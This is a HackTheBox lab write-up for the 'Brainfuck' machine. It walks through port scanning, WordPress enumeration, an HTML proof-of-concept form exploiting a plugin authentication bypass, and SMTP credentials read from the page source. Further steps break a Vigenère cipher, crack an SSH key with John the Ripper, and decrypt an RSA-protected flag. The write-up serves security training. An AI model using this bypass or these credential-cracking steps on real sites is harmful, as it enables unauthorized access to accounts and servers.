Brainfuck

HackTheBox Brainfuck machine writeup. WordPress auth bypass, SMTP credentials pivot, Vigenère cipher, RSA root flag.

Untitled

Reconnaissance

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

BASH
target="10.10.10.17"

ports=$(sudo nmap -p- --min-rate=1000 -T4 $target | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

sudo nmap -p$ports -sC -sV $target -vvv
TEXT
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
25/tcp  open  smtp     syn-ack ttl 63 Postfix smtpd
110/tcp open  pop3     syn-ack ttl 63 Dovecot pop3d
143/tcp open  imap     syn-ack ttl 63 Dovecot imapd
443/tcp open  ssl/http syn-ack ttl 63 nginx 1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

Untitled

We get back the following result showing that five ports are open:

  • Port 22: running OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
  • Port 25: running Postfix smtpd
  • Port 110: running Dovecot pop3d
  • Ports 143: running Dovecot imapd
  • Ports 443: running nginx 1.10.0

Before we move on to enumeration, let’s make a few mental notes about the nmap scan results.

  1. Port 443 is running HTTPS. The index page gives us the title “Welcome to nginx!”. This is likely a configuration issue where the IP address doesn’t know what hostname it should map to in order to serve a specific site and so instead it’s serving the nginx default page. From the nmap scan, we get three possible hostnames: brainfuck.htb, www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb.
  2. Ports 25, 143 and 110 are running mail protocols. We might need to find a valid email address to further enumerate these services.

Enumeration

Add the following hostnames to the /etc/hosts file on your attack machine.

TEXT
# HTB
10.10.10.17     brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

First, let’s visit the site brainfuck.htb. After adding a security exception, we get the following page.

Untitled

We can notice that this is a WordPress site.

Untitled

Next, let’s run the WordPress vulnerability scanner on the site.

BASH
wpscan --url https://brainfuck.htb --disable-tls-checks --api-token <OMISSIS>

The following is a summary of the results found by the wpscan.

  • The WordPress version identified is 4.7.3.
  • The identified version of WordPress contains 85 vulnerabilities.
  • The WP Support Plus Responsive Ticket System plugin is installed.
  • The identified version of WP Support Plus Responsive Ticket System plugin contains 4 vulnerabilities.

Out of all the vulnerabilities identified, one particular vulnerability does stand out: a privilege escalation authentication bypass. We can find a description and an exploit in exploitdb. From the description, we can understand that this vulnerability will allow us to bypass authentication by logging in as anyone without knowing the password. We do however need a valid username for the attack to work.

Therefore, let’s use wpscan to enumerate usernames.

BASH
wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u

Untitled

Both “admin” and “administrator” are valid usernames. Now that we have a valid username, let’s attempt to exploit the vulnerability.

Exploitation

Copy the POC code from the vulnerability entry on searchsploit and save it in the file exploit.html. Change the URL to the name of the machine.

HTML
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="administrator">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

Run it in the browser and login as administrator.

Untitled

Now, according to the instructions of the PoC on exploitdb we can refresh the brainfuck.htb page and we’re logged in as administrator!

Untitled

There doesn’t seem to be much functionality available for this user. Therefore, let’s try the ‘admin’ user next. Perform the same exploit again except with the username being ‘admin’.

On the top right corner go to the profile page for admin. Then, click on Plugins > Installed Plugins and finally go to the settings for the Easy WP SMTP plugin. There, we find the SMTP configuration settings with the SMTP username and SMTP masked password.

Untitled

Untitled

Right click on the password field and view page source.

Untitled

The user’s password is kHGuERB29DNiNE. Let’s use the mail client Evolution to log into orestis’s email.

Open up the Evolution mail client. Click on File > New > Mail Account. Enter orestis@brainfuck.htb in the Email Address field, brainfuck.htb as the Server, 143 as the Port and orestis as the Username.

Now we can see orestis’s mail!

Untitled

The Form Access Details email gives us another set of credentials.

Untitled

Remember that in the enumeration phase, we had three hostnames that we added to our hosts file. Since the email mentions a “secret” forum, let’s check out the sup3rs3cr3t.brainfuck.htb website.

On the website, when you click on Log In, you’re presented with a login page. Enter our newly found credentials there.

Untitled

Based on the comments made there, orestis seems to have lost his SSH key and wants the admin to send it to him on an encrypted thread. One other thing we notice is that orestis always signs his message with the “Orestis — Hacking for fun and profit” phrase.

Untitled

The encrypted thread orestis is referencing is the Key thread.

Untitled

There, you’ll notice that orestis’s comments are signed with the same message we saw above except the message is in encrypted form. However, with each comment, the generated cipher text for the phrase is different. After a bunch of trials, we can notice that it is not a Caesar cipher.

Therefore, the admin might be using the Vigenère cipher. Since we do have the plaintext and its corresponding cipher text, we can deduce the key since this cipher is vulnerable to a known plaintext attack.

PYTHON
plaintext = "OrestisHackingforfunandprofit"
ciphertext = "PieagnmJkoijegnbwzwxmlegrwsnn"
key = ""
for i in range(len(plaintext)):
 num_key = ((ord(ciphertext[i]) - ord(plaintext[i])) % 26) + 97
 char_key = chr(num_key)
 key = key + char_key
 
print key

The result:

TEXT
brainfuckmybrainfuckmybrainfu

The key is fuckmybrain. Now, we can use it to decrypt the admin’s statement, which gives us:

TEXT
There you go you stupid fuck, I hope you remember your key password because I dont
https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

We’re one step closer! We have a link to the RSA private key that seems to be encrypted. Download and crack it with JtR.

BASH
ssh2john id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

We get back the following result.

Untitled

SSH into the machine with the cracked passphrase.

BASH
chmod 600 id_rsa
ssh -i id_rsa orestis@brainfuck.htb

We gained an initial foothold!

Untitled

Privilege Escalation

List the files in orestis’s home directory.

TEXT
orestis@brainfuck:~$ ls -all
...
-rw------- orestis  619 Apr 29  2017 debug.txt
-rw-rw-r-- orestis  580 Apr 29  2017 encrypt.sage
-rw------- orestis  329 Apr 29  2017 output.txt
-r-------- orestis   33 Apr 29  2017 user.txt

View the content of encrypt.sage. It seems to be performing RSA encryption: it opens the root.txt file and uses its value as a parameter in the encryption. The encrypted password is written in the output.txt file. It also logs parameters p, q and e in the debug.txt file.

Parameters p, q and e are logged in the debug file which we have read/write access to. Since we have both p and q, we can calculate n=p*q, phi=(p-1)(q-1). We also have c since it’s written in the output.txt file. So we can calculate m from the equation c = pow(m,e,n).

PYTHON
def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():
    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(ct, d, n)
    print("pt: " + str(pt))

if __name__ == "__main__":
    main()

Running this script, we get the plaintext value. We simply just need to reverse the behavior of int(password.encode('hex'),16).

PYTHON
>>> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> hex_str = hex(pt)[2:]
>>> password = bytearray.fromhex(hex_str).decode()
>>> print(password)
OMISSIS